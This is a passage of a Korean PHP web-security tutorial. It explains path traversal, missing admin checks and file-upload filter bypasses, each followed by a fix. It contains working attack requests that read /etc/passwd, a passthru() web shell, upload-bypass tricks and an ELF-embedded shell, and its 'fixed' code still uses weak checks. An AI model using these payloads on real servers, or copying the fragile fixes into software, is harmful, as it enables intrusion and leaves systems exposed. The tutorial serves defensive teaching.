14 $msg .= fgets($fp,100);
15 }
16
17 $msg=nl2br($msg);
18
19 echo $msg;
20
21 ?>
profile.html
<html>
<head>
<title>yo man.. i'm beist</title>
<body>
전 남자에요. 84 년생이고요. 별명은 스누피.
</body>
</html>
link.php 의 기능은 간단하다. 먼저 fopen 을 시도하기 전에 file_exists 를
이용하여 현재 디렉토리에 그런 파일이 있는지 없는지 확인을 하고 없으면
script 실행을 중지시킨다. 존재한다면 fopen 을 이용하여 현재 디렉토리를 기준으로
read mode 로 file 핸들러를 연다. 그리고 $msg 에 file 의 내용을 담은 후에
사용자에게 뿌려준다. 여기에서는 현재 directory 를 기준으로 한다는 것을
명시하기 위하여 $file 앞에 ./ 를 붙였지만 ./ 를 붙이지 않아도 php 에서는
현재 directory 에서부터 찾으라는 것으로 인식한다.
만약 link.php?file=profile.html 이라고 한다면 file 변수의 값인 profile.html
을 열어서 사용자에게 보여주는 것이다.
[요청]
http://server/link.php?file=profile.html
[결과]
전 남자에요. 84 년생이고요. 별명은 스누피.
하지만 이런 알고리즘은 취약성을 갖는다. link.php 를 요청할때 file 의 변수를
cracker 임의대로 변경하여 요청을 한다면 link.php 에서는 cracker 가 임의로
변경한 file 의 내용을 돌려줄 것이다.
예를 들어
[요청]
http://server/link.php?file=../../../../../../../../../etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
file 의 값을 상위디렉토리로 이동하기 위하여 ../ 를 여러개를 붙였고 etc
directory 밑에 존재한 passwd file 을 열어서 cracker 는 passwd file 을
볼 수 있었다.
해결책을 알아 보자.
개발자가 이 상황에서 신경써야 할 부분은 link.php 를 호출할때 인자로 딸려오는
변수 $file 이다. cracker 가 $file 의 내용을 변경하더라도 link.php 에서는
올바르게 처리할 수 있어야 한다.
추천하는 처리 방법은 $file 의 내용을 조사하여 .. 같은 문자가 있다면 필터링을
하는 것이다. 다음은 취약성을 개선한 소스이다.
link2.php
1 <?
2 if(eregi("\.\.", $file))
3 {
4 echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
5 exit;
6 }
7 $exist = file_exists("./$file");
8 if(!$exist)
9 {
10 echo "$file 파일은 없다.\n";
11 exit;
12 }
13
14 $fp=fopen("./$file", "r");
15
16 while(!feof($fp))
17 {
18 $msg .= fgets($fp,100);
19 }
20
21 $msg=nl2br($msg);
22
23 echo $msg;
24
25 ?>
2 번째 라인에서 eregi 를 이용하여 $file 의 내용에 .. 가 있는지 check 를
하였다. 만약 .. 라는 스트링이 $file 안에 존재한다면 cracking 시도로 간주
하고 script 실행을 중지시키고, 들어있지 않다면 정상적으로 script 를 계속
실행한다.
[요청]
http://server/link.php?file=../../../../../../../../../etc/passwd
[결과]
장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.
이런 식으로 해결을 할 수도 있고 eregi_replace 를 이용하여 .. 를 공백으로
만들어 무시할 수도 있을 것이다.
위의 방법에 대하여 어떤 문제점이 발생할 수도 있다. Shell 에서는 (bash
shell 기준) ../ 말고도 상위디렉토리로 접근하는 방법이 있다.
예를 들어
$ cd ./.\./
이렇게 입력하면 상위 디렉토리로 이동한다는 것을 뜻한다. 그래서 만약 해커가
http://server/link.php?file=./.\./.\./.\./.\./.\./etc/passwd
이런식으로 요청을 한다면 eregi 는 체크를 하지 못할 것이다. 하지만 이 것은 걱정
하지 않아도 된다. 왜냐하면 data 가 전송되어질때 encode-decode 과정에서 \ or
' or " 앞에는 \ 문자가 하나 더 붙기 때문이다. 그래서 실제로 저렇게 요청을
한다더라도
./.\\./.\\./.\\./.\\./.\\./etc/passwd
이란 파일을 열려고 시도하게 된다. 하지만 만약 php.ini 같은 설정 파일에서
magic_quote 값을 변경하였을 경우 escape (\) 문자가 앞에 붙지 않게 된다.
그래서 cracker 의 요청대로 passwd 파일을 open 할 것이고 출력하게 된다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
3) 눈에 보이지 않는 것에 대해 주의할점
이번 주제 역시 Web 프로그래밍 시에 일어나기 쉬운 취약성 중 하나이다.
아마도 Web 프로그램 만큼 BUG 가 많은 것도 없을 것이다. 왜냐하면 인터넷의
발전에는 WWW 가 있었고 WWW 의 대부분에 CGI 가 사용되기 때문이다.
(CGI 개발자들이 CGI 개발을 잘 못했다는 이야기가 아니라 워낙 많은 양의 CGI
가 있어서 많은 BUG 가 발견 될 수 밖에 없다는 이야기이다.)
이번의 BUG 는 BUG 라기보다는 개발자의 단순한 실수로 인한 것이라고 보는 것이 더
정확할 듯 하다.
이번에는 공지사항을 예로 들어서 설명을 하겠다. 공지사항은 Admin 만 올릴 수
있는 Board 같은 것입니다.
그러면 일반 사용자가 글을 쓸수 있지 못하도록 프로그래밍을 해야 한다.
하지만 어떤 Web CGI 에서는 아주 이상한 방법으로 사용자가 글을 쓸수 없도록
하기도 한다.
board.php
1 <?
2
3 echo "
4 <html>
5 <head>
6 <title>게시판 Menu</title>
7 </head>
8 <body>
9 ";
10
11 include "list_board.php";
12
13 echo "<br><br>";
14
15 echo "<a href=list.php>게시물 리스트</a><br>";
16 echo "<a href=next.php>다음 글</a><br>";
17 echo "<a href=pre.php>이전 글</a><br>";
18
19 if($adminpw="123456")
20 {
21 echo "<a href=writeform.html>공지사항쓰기</a><br>";
22 echo "<a href=delete.html>글 삭제하기</a><br>";
23 echo "<a href=modify.html>글 수정하기</a><br>";
24 }
25 echo "
26 </body>
27 </html>
28
29 ?>
11 번째 줄에서 list_board.php 를 include 하는데 list_board.php 의 기능은
공지사항의 게시물을 출력해주는 Script 이다. list_board.php 는 설명하려는
취약성이 아니므로 소스 첨부를 하지 않겠다. 게시물의 리스트를 보여주고
15~17 에서는 일반적인 게시판 메뉴들을 보여준다.
그리고 만약 board.php 를 요청하였을때 변수 $adminpw 가 있고, 그 값이
123456 이라면 이 사용자는 Admin 으로 인식하여 Admin 메뉴들도 뿌려준다.
21~23 에서 쓰기, 삭제, 수정 메뉴들을 보여준다.
모두 다 같은 원리이므로 여기서는 쓰기만을 예로 들어서 설명하겠다.
writeform.html
<html>
<head>
<title>이 page 는 공지사항 write form 이다.</title>
</head>
<body>
<form action=write_ok.php method=post>
제목 : <input type=text name=subject><br>
본문 : <input type=text name=comment><br>
비밀번호 : <input type=password name=pass><br>
<input type=submit value=글쓰기>
</form>
</body>
</html>
위와 같은 write form 을 이용하여 우리는 공지사항을 올릴 수 있을 것이다.
하지만 writeform.html 을 보다시피 writeform.html 자체에서는 이 사람이
admin 인지 아닌지 확인하는 알고리즘이 없다. (write_ok.php 에서도 Admin
인지 확인하는 알고리즘이 없다고 가정한다.) 그래서 만약 Cracker 가
board.php 에서 $adminpw 와 그에 맞는 값을 가지고 요청을 하지 않아도,
writeform.html 의 url 만 알고 있으면 공지사항을 쓸 수 있다는 이야기이다.
이런 Bug 도 일종의 Security Hole 이라고 할 수 있다. 이런 류의 취약점은
비슷한 상황에서 여러 종류의 취약점으로 발견된다. 예를 들면 Web Board
에서 File Upload 시에 <input type=file> 만 출력하지 않아서 자료실 기능이
없는 것처럼 만들어 놓았지만, 실제로는 자료실 기능이 없는 것이 아니라
단순하게 <input type=file> 만 출력하지 않는 것이다.
sample.php
<?
echo "
<html>
<head>
<title>write form!</title>
</head>
<body>
<form action=write_ok.php method=post ENCTYPE=\"multipart/form-data\">
제목 : <input type=text name=subject><br>
본문 : <input type=text name=comment><br>
";
$fp=fopen("conf.txt", "r");
$test=fgets($fp, 2);
if($test==1)
echo "
<input type=file name=infile><br>";
echo "
<input type=submit value=글쓰기><br>
</form>
</body>
</html>
";
?>
이런 식으로 conf.txt file 에서 데이터를 읽은 후 그 값이 만약 1 이라면
File upload 기능을 사용한다고 보고 <input type=file> 을 출력하여 주는 것
인데, 만약 Cracker 가 html 을 수정하여 임의로
<input type=file name=infile>
를 추가한다면 Cracker 는 자료를 올릴 수 있게 될 것이다. (단 write_ok.php
에서 별다른 인증을 거치지 않는다는 가정하임)
한때 이런 버그를 이용하여 악의적인 Script 를 올린 후 Shell 을 획득하는
방법이 유행하기도 하였다. 이 것은 우습게 보아서는 안될 부분이며 개발자가
생각하는 것 이상으로 Server 에 피해를 미칠수도 있다.
해결책을 알아보자.
개발자가 개발을 하거나 Patch 를 할때 알아둬야 할 사항이 있다. Cracker 가
Source 를 다 볼수 있는 환경이어도 hacking 을 당해선 안되는 것을 만들어야
한다.
이 말은 완벽한 CGI 를 만들라는 것이 아니라, 정석의 알고리즘을 사용하지
않고 편법을 이용하여 단순히 눈속임을 하는 방법을 사용하지 말라는 이야기이다.
board.php 와 같은 경우에는 특별히 수정하지 말고 writeform.html 에서 action
script 인 write_ok.php 를 수정하는 것이 가장 좋은 방법이다.
write_ok.php 의 맨 앞에 다음과 같은 인증을 한다. 만약 $pass 와 그 값이
123456 이 아니라면 Admin 이 아닌 사용자가 글을 쓰려는 것으로 인식하여 script
를 중지시킨다.
if($pass!="123456")
{
echo "입력하신 암호는 정확하지 않습니다.<br>";
echo "공지사항을 올리 실 수 없습니다.";
exit;
}
sample.php 에서의 write_ok.php 에서는 약간 다르게 처리하면 될 것이다.
write_ok.php 에서
$fp=fopen("conf.txt", "r");
$test=fgets($fp, 2);
if($test==1) {
copy($infile, "data/$infile_name");
chmod("data/$infile_name", 0444);
}
이런식으로 file 을 실질적으로 Server 로 Copy 하는 copy 함수를 사용하기 전에
conf.txt file 을 읽어와 설정값이 1 로 되어있는지 확인하고 1 이 아니라면
file 을 copy 하지 않는다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4) file upload 알고리즘 시의 주의할점 -1-
이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.
첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.
예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.
hacking.php
<?
passthru($beist);
?>
cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.
[요청]
http://server/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)
예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.
write_ok.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
$check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
file 로 간주하고 스크립트 실행을 중지시켜 버린다.
만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
올바르게 저장이 될 것이다. */
하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.
[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.
해결 방법을 알아보자.
여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.
write_ok2.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.
결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
5) file upload 알고리즘 시의 주의할점 -2-
이번에 다룰 주제 역시 Web Board 상에서 File Upload 알고리즘 취약성에 관련되
었다. 4 번 장에서 설명한바와 같이 php 프로그래밍에서는 사용자가 php 관련파일을
올릴 수 없도록 막아야 한다. 왜냐하면 악의적인 php 스크립트를 만들어 server 의
shell 을 얻을수도 있기 때문이다. 만약 cracker 가 shell 을 얻는다면 그것은
cracker 에게 있어서 Web Hacking 의 최종 목적까지 가게 만든 것이다.
write_ok3.php
1 <?
2
3 /* 절차 생략 */
4
5 if(ereg("php", $in_file_name))
6 {
7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 중요 취약점이 되는 부분만 설명하기 위해 불필요한 부분은 생략하였다.
5 번째 줄에서 사용자가 보내온 file name 중 php 라는 문자열이 있으면
걸러내기 위해 ereg 라는 함수를 사용하였다. */
이번에 쓰인 php 파일 upload 막기 알고리즘은 사용자가 보내온 file name 에
만약 php 라는 문자열이 존재한다면 php 스크립트로 알고 무조건 script 실행을
취소하는 것이다. 이 방법에는 security hole 말고도 단점이 있다. 예를 들어
사용자가 php.txt 라는 file 을 올릴때도 악의적인 script 로 간주하여 upload 를
허용하지 않기 때문이다.
그렇다면 이 알고리즘에 대한 security hole 을 알아보자.
ereg 는 지정한 String 에서 특정 단어나 혹은 문자가 포함되어 있는지 알아볼
수 있게 하는 함수이다. 하지만 ereg 는 소문자만 검사할뿐이지 대문자를 검사하지는
않는다.
만약에 cracker 가 file name 을 hacking.php 가 아닌 hacking.pHP 라는 식으로
뒤에 대문자로 고친다면 ereg 함수는 인식을 하지 못하는 것이다. hacking.pHP 에
<? passthru($beist); ?> 와 같은 악의적인 기능을 할수있는 script 를 짜서 서버에
올린다면 cracker 는 System Command Execute 이 가능해질 것이고 이 것은 cracker
에게 있어서 궁극적인 목표에 다달은 것이다.
해결책을 알아보자.
ereg function 은 알파벳의 소문자 밖에 검사를 하지 못한다. 그래서 대문자도
같이 검사를 하기 위해서는 eregi 라는 함수를 사용해야 한다. eregi fucntion 을
사용하여 검사를 하면 대, 소문자에 상관없이 check 를 해주기 때문에 위의
hacking.pHP 같은 회피법을 막을 수 있다.
write_ok4.php
1 <?
2
3 /* 절차 생략 */
4
5 if(eregi("php", $in_file_name))
6 {
7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
수정한 부분은 5 번째 줄에서 ereg -> eregi 이다. 이런식으로 check 를 함으로써
cracking 을 막을 수 있다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
6) file upload 알고리즘 시의 주의할점 -3-
이번에는 Web Board 상에서 File Upload 부분을 처리할때 Hacking 취약성
3 번째를 알아보겠다. Cracker 가 Hacking 을 할때 가장 많이 이용하는 취약성은
어떤 것일까? 단연 Web Hacking 이다. 그 중에서도 Board 의 File Upload
취약성은 가장 많이 이용된다. 도대체 어떻게 된 구조길래 Cracker 들이
가장 좋아하는 방법인지 알아보겠다.
Cracker 가 Web Server 에 CGI 를 올려서는 절대 안된다고 몇차례 이미
이야기를 했다. 이유는 Cracker 가 악의적인 CGI 를 올릴 수 있으면 서버에
System Command 를 실행시킬 수도 있기 때문이다.
이번엔 어떤 취약성일까? 알아보자.
사용자가 Upload 할 File 을 지정하고, File 을 서버에 올리면 지정된 파일에는
몇가지의 변수들이 정의되어 진다.
예를 들어 다음과 같은 폼에서 File 을 올렸다고 가정하자.
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>
$in_file - Upload 된 File 내용이 저장되어 있는 서버의 임시 File name
$in_file_name - Upload 한 시스템에서 사용하는 File 의 원래 이름
$in_file_size - byte 단위의 Upload된 파일의 크기.
$in_file_type - 만약 browser가 업로드된 파일의 mime 형식을 안다면
그 mime 형식. (Ex. "image/gif").
이해를 돕기 위해 위와 같은 폼으로 자료를 올렸을때 나타나는 결과를 보자.
나는 2309 byte 사이즈의 test.txt 라는 파일을 서버에 올렸다.
<?
echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";
?>
[결과]
in_file = /tmp/phpoIVrVs
in_file_name = test.txt
in_file_size = 2309
in_file_type = text/plain
우리는 form 의 file type 을 이용하여 in_file 이라는 파일을 올렸는데
3 가지의 변수가 자동으로 붙었다. 이 변수들은 파일의 type 을 체크하거나
파일 사이즈등을 체크하려할때 아주 유용하게 사용되어 진다.
하지만 여기에 Hacking 에 이용될 수 있는 취약점이 발생한다.
예를 들어 다음의 소스를 보자.
write_ok.php
1 <?
2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10
11 exit;
12 }
13
14
15
16 }
17
18 if($in_file != "none" && $in_file)
19 {
20 $filetype = split("/", $in_file_type);
21 $filetype = $filetype[0];
22
23 if($filetype == "text")
24 $in_file_name = $in_file_name.".txt";
25
26 $exist = file_exists("data/$in_file_name");
27
28 if($exist)
29 {
30 echo "동일한 파일이름이 이미 존재합니다.";
31 exit;
32 }
33
34 if(!copy($in_file, "data/$in_file_name"))
35 {
36 echo "파일 저장 실패! 다시 올리라.";
37 exit;
38 }
39
40 chmod("data/$in_file_name", 0444);
41
42 unlink($in_file);
43 }
44
45 /* 생략 */
46
47 ?>
위 Source 에는 Hacking 취약성이 존재한다.
이 취약성의 가장 핵심이 되는 내용은 File Upload 후에 자동적으로 붙는
$in_file_name 과 $in_file_size, $in_file_type 등은 Client 마음대로 바꿀
수 있다는 것이다.
위 3 개의 변수들은 Server 에서 자동적으로 처리를 해주기는 하지면 우리에게
우선권이 있다. 만약 우리가 query 를 보낼때 in_file_name=/etc/passwd 이런
식으로 정의를 해준다면 Server 에서는 자기 임의대로 in_file_name 을 정의하지
않는다. (이해를 쉽게 하기 위해 위의 표현을 쓴 것을 이해바란다.)
write_ok.php 에서 CGI 를 올릴 수 없게 조취를 취한 것은 무엇이 있는지
알아보자.
먼저 5 번째 줄에서 in_file_name 변수가 존재한다면, 그러니까 사용자가
File 을 올렸다면 그 File Size 가 0 인지 검사를 한다. 0 이라면 잘못된
것으로 인식하여 Script 를 중지시킨다. 그리고 in_file 이 none 이 아니고
존재했을때, file 의 type 을 구한다. 만약 File Type 이 text 형식이라면
File 의 이름 뒤에 txt 를 붙인다. 이렇게 하는 이유는 만약 test.php 같은
Script 를 올렸을때 뒤에 .txt 를 붙여서 WebServer 에서 php 를 실행하지
않게끔 하기 위한 조취이다. 그래서 위의 상태라면 만약 hacking.php 라는
File 을 올렸다면 Server 에는 hacking.php.txt 라는 File 이 될 것이다.
26~32 줄은 File 이 Server 에 이미 존재하는지 확인하는 루틴이고 34 번 줄은
Server 에 올려진 임시파일을 in_file_name 으로 Copy 를 하는 것이다.
40 번째 줄은 퍼미션은 444 로 주었다. (user, group, other 에 read 권한만
부여를 의미) 그리고 42 번째 줄에서 Server 에 올려진 임시파일을 지웠다.
자 이제 이런 체크를 교묘히 빠져나가 보자. 빠져나가는 방법에는 여러 가지
방법이 있는데 첫번째는 in_file_name 과 in_file_size 를 조작하는 방법이다.
먼저 File 을 Read 할 수 있는 방법부터 보겠다. File Read 에서 가장 주의깊게
봐야할 부분은 34 번째 줄이다.
File 을 올리기 위해선 File Size 가 0 이 아니어야 한다. 그래서 File Size 에
임의의 값 100 을 주겠다.
(여기서 잠깐 php 에서 Copy Function 의 사용법을 간략하게 알아보겠다.
문법은 다음과 같다. copy(src, dst); src 파일을 dst 로 copy 하라는 뜻이다.)
src 에 들어가는 in_file 을 /etc/passwd 로 하겠다. 그리고 dst 에는 passwd.txt
라고 하겠다. 위의 상황을 종합적으로 정리해봤을때 서버에 가야하는 query 는
다음과 같다.
http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100
위와 같이 보낸다면 php 는 실제로 이렇게 작동될 것이다.
if(!copy("/etc/passwd", "data/passwd.txt"))
그럼 실제로 passwd.txt 를 요청하여 보자.
[요청]
http://server/data/passwd.txt
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
Remote File Read Attack 을 성공하였다. 하지만 진정한 Cracker 라면 여기서 만족
하지 않는다. System Command Execute 까지 성공하여 보자.
위 File Read 방법과 원리는 비슷하므로, 간략하게 절차적으로 설명하고, 필요한
부분만 더 설명을 하겠다.
먼저 서버에 정상적인 text File 을 하나 올리자.
hack.txt
<?
passthru($beist);
?>
hack.txt 이 정상적으로 Server 에 올려졌다면 hack.txt 는 hack.txt.txt 로 변해
있을 것이다. (이해가 안된다면 20~24 번째 줄을 보자.)
그리고 이렇게 요청을 하자.
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100
원리를 살펴보자. 우리는 먼저 hack.txt 를 올렸다. hack.txt 에는 시스템에
명령을 실행할 수 있는 passthru Function 이 담겼다. txt 확장자 파일로는 아무것도
할 수 없지만, 이 파일을 이용하여 realhack.php 으로 카피한 것이다.
실제로는 이렇게 카피가 될 것이다.
if(!copy("data/hack.txt.txt", "data/realhack.php"))
우리는 이로써 realhack.php 을 이용하여 System 의 Shell 을 따내게 되었다.
[요청]
http://server/data/realhack.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
또 다른 방법은 hack.php 라는 File 을 in_file 과 in_file_name 의 query 조작
말고도 in_file_type 을 임의로 변경하여 text file 이 아닌 것처럼 올린다면
뒤에 뒤에 txt 확장자가 붙지 않으니 정상적으로 Server 에서 Shell 을 실행시킬
수 있을 것이다. 이 방법은 위에서 많이 설명하였으니 실질적인 공격 방법은
설명하지 않겠다.
두번째 공격 방법에 대해서 알아보자.
두번째 공격 방법에서는 in_file 같은 변수들을 조작하지 않고 Hacking 을 할
것이다. 20~24 번째 줄에서는 text 파일일 경우에만 file name 뒤에 txt 를
붙인다. 그렇다면 text type 이 아닌 binary file 을 올리면 어떻게 될까?
확장자가 php 라도 binary file 이라면 20~24 줄 검사에서 text 가 아니니
뒤에 txt 가 붙지도 않을 것이다.
php binary file(?) 을 만들어 보자. (Zend 가 아닌)
hack.c
#include <stdio.h>
main()
{
}
$ gcc -o hack.php hack.c
$ vi hack.php
^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
@?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
<? passthru($beist); ?>
^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
<@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@
vi 저장후 빠져나옴.
위에 대해서 설명을 하겠다. 먼저 아무런 기능도 하지 않는 hack.c 라는 file
을 만든 후 hack.php 로 컴파일을 한다. 컴파일한 file 을 열어 (열었을때 이상
한 문자가 나올 것이다.) 그 중간에 시스템에 명령을 실행할 수 있는 Code 를
넣는다. (passthru Function)
이제 이 File 은 중간에 Text Code 넣었음에도 binary File 이다. 비교를
해보자.
test.php
<?
passthru($beist);
?>
$ file test.php
test.php: ASCII text
$ file hack.php
hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked (uses shared libs), stripped
우리의 hack.php 는 ELF 포맷을 갖는 binary 가 되었다. 이 File 을 서버에
올리면 File Type 에 걸리지 않고 무사히 올라가게 될 것이고 중간에 넣은
Code 로 Cracker 는 Hacking 을 할 수 있다.
[요청]
http://server/data/hack.php?beist=cat /etc/passwd
[결과]
ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
(위의 경우, C 로 짜여진 CGI 를 File Type Text 검사에 걸리지 않아서 넘어
갈 수 있겠지만 퍼미션을 user, group, other 에 read 만 부여하였기 때문에
Forbidden 이 나올 것이다.)
